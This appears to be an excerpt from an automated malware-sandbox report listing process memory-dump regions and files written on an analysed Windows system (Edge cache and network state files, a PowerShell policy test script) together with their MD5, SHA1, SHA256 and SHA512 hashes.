memory/3396-2870-0x0000016C2B870000-0x0000016C2B951000-memory.dmp

memory/3396-2872-0x0000016C2B870000-0x0000016C2B951000-memory.dmp

memory/3396-2874-0x0000016C2B870000-0x0000016C2B951000-memory.dmp

memory/3396-2876-0x0000016C2B870000-0x0000016C2B951000-memory.dmp

memory/3396-2878-0x0000016C2B870000-0x0000016C2B951000-memory.dmp

memory/3396-2880-0x0000016C2B870000-0x0000016C2B951000-memory.dmp

memory/3396-2882-0x0000016C2B870000-0x0000016C2B951000-memory.dmp

memory/3396-2884-0x0000016C2B870000-0x0000016C2B951000-memory.dmp

memory/3396-2887-0x0000016C2B870000-0x0000016C2B951000-memory.dmp

memory/3396-2889-0x0000016C2B870000-0x0000016C2B951000-memory.dmp

memory/3396-2891-0x0000016C2B870000-0x0000016C2B951000-memory.dmp

memory/3396-2893-0x0000016C2B870000-0x0000016C2B951000-memory.dmp

memory/3396-2895-0x0000016C2B870000-0x0000016C2B951000-memory.dmp

memory/3396-2897-0x0000016C2B870000-0x0000016C2B951000-memory.dmp

memory/3396-2899-0x0000016C2B870000-0x0000016C2B951000-memory.dmp

memory/4512-2931-0x0000000000920000-0x0000000000929000-memory.dmp

memory/7488-2933-0x0000000000400000-0x0000000000409000-memory.dmp

memory/4512-2928-0x0000000000AA0000-0x0000000000BA0000-memory.dmp

memory/3196-2975-0x0000000002AE0000-0x0000000002EDE000-memory.dmp

memory/3196-2979-0x0000000002EE0000-0x00000000037CB000-memory.dmp

memory/3196-2987-0x0000000000400000-0x0000000000D1C000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\8f7abdeb3486c1b8780fede76afc20e044eff1b5\8b805fff-05d4-462a-87ac-2d53f67ee3b6\index-dir\the-real-index

MD5 67514569bb0e13c48fce562f94089e16
SHA1 80e158694477db679f460a2a70c596c570f1fb9a
SHA256 b1597d5300b693ac98798636f01090d5d8e3602e17f36a2818058c261d3ba70a
SHA512 7e5f8db89982e74223844ce471b628f9f8722294736ecdc15dcc6a3b0c927d8a21642149d788e7d275f23154ed6c575ba1af05842cce9fb73fa7580a1a1654a4

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\8f7abdeb3486c1b8780fede76afc20e044eff1b5\index.txt

MD5 74754520344bc11d402d873ca68b6fde
SHA1 0f73dcccce94d70e37112171524523446fd52693
SHA256 4f490137ede529fdcb529632156763985582b2432a5fdf1bb4effa8fb3348461
SHA512 e8f52689a936ae4bf7e10735aceb6de26cfcc24f53be1ecef0669a3684b3e3317a7adc2fc1a98cda564cd550125f6e4778dbffa235ce6dcfefcf1a05d07d663c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\8f7abdeb3486c1b8780fede76afc20e044eff1b5\8b805fff-05d4-462a-87ac-2d53f67ee3b6\index-dir\the-real-index~RFe596fa8.TMP

MD5 032bb6d861f2248ce2d7259ef5daeff3
SHA1 81ced90bc60acb8e75fecade0b3454232f80aa6b
SHA256 d982960fe64568a338d6a4309e36736aa74ace31be8bf9873bcc1c6fbb2523bd
SHA512 5a698fb5f031fd3a731aa2c5bcd555e0aa6d0debcb4c3e47c220de26489bab39b6158b9353465ef0c9762bbccbfbd09dfed479eb32e2494cbbdded3118a05b9d

memory/7488-3280-0x0000000000400000-0x0000000000409000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 e4dcc7eef74c65f89382755d6830648a
SHA1 942b5845c516c1600b39c2136b3fdf7f14fa31ee
SHA256 f16f6a6a5aae9929aa9bd04df0b81751923165d1bd96bd49eac1f2034ba4a412
SHA512 06693c3cb16bad5b93916cec4b772dacdf41f9d5369db2112ec5cfae4c5e8c7c931ce4d653b7892e4861dfce7b8f315134cffd1e6cd1705821c3b7fbe5ea0c46

memory/6944-3385-0x00007FFC01F70000-0x00007FFC02A31000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 97c44b2be3da5966a47f267cc3356540
SHA1 44a0049a4460436b2b1ec4803ff63c804f047e8d
SHA256 8f665ac6369416b8401189f8c205de88fa9d27d68181a2a1900e85512d807658
SHA512 330a8d1944c817f96548e9e81080e2297894c6a1358306321e54ea9a9b5ed5fc3dcd005aa27b8c9e43b5e81f20ed7be79f741189a1d36db2217c0fe95b95c9f4

memory/4404-3437-0x0000000002C00000-0x0000000002C36000-memory.dmp

memory/4404-3439-0x00000000741F0000-0x00000000749A0000-memory.dmp

memory/4404-3441-0x0000000002CD0000-0x0000000002CE0000-memory.dmp

memory/4404-3443-0x0000000002CD0000-0x0000000002CE0000-memory.dmp

memory/4404-3445-0x0000000005350000-0x0000000005978000-memory.dmp

memory/4404-3450-0x00000000052D0000-0x00000000052F2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2amod4pr.ujq.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4404-3460-0x0000000005AF0000-0x0000000005B56000-memory.dmp

memory/4404-3466-0x0000000005E20000-0x0000000005E86000-memory.dmp

memory/4404-3472-0x0000000005E90000-0x00000000061E4000-memory.dmp

memory/4404-3484-0x00000000061F0000-0x000000000620E000-memory.dmp

memory/4404-3530-0x0000000006730000-0x0000000006774000-memory.dmp

memory/6956-3554-0x0000000000E40000-0x0000000000E41000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 b9ea6fe307add9df2e61a69794e7928b
SHA1 248946406a075923507995b9e0a19efa7aed2683
SHA256 b9989476cd261247eaf7395eed74bb307fe2cce7e92ea22ecd99b6d3a849d212
SHA512 873309efb13dd9ac7d6b3b792757adaf83c61cc29da94cab8c7c57fdec98a1e4e22aaa6e284a63d400f159b38c339d8556c12c7d30453d6a038aef505348bf4f

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 d03edec942dbf7cc8706472aad39c3cc
SHA1 40bf9ff33d702b87e32464d32d8dae267e116c24
SHA256 05da86e55d15a212a47757a42a16b193978b986d4028e73a9e6bae04803541c6
SHA512 eaa0b7605ad4a99331916cea853f37dfcd99b6759b5f22db9438e7d7e9cd05e2510fff337388273e5fa5ab3300ea60b9134f391f7022761824f15ff3dc965359

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 fd1820ba47813ae5340bf30f363cbfe3
SHA1 297edc87d80eb99717159171c25db1257bf95b8c
SHA256 21db81b28cb9ba828e41f5f6617ce58cefdfe1e54b7401fb7f21b67aab8228fc
SHA512 909afec1ebf60bb483ba8e7163b89c30f50e2e43c3e26ad1f38c7847ebe474ade772d56156234596e3b603d97e59ca14de5941851db7171ae722a5ab81a79731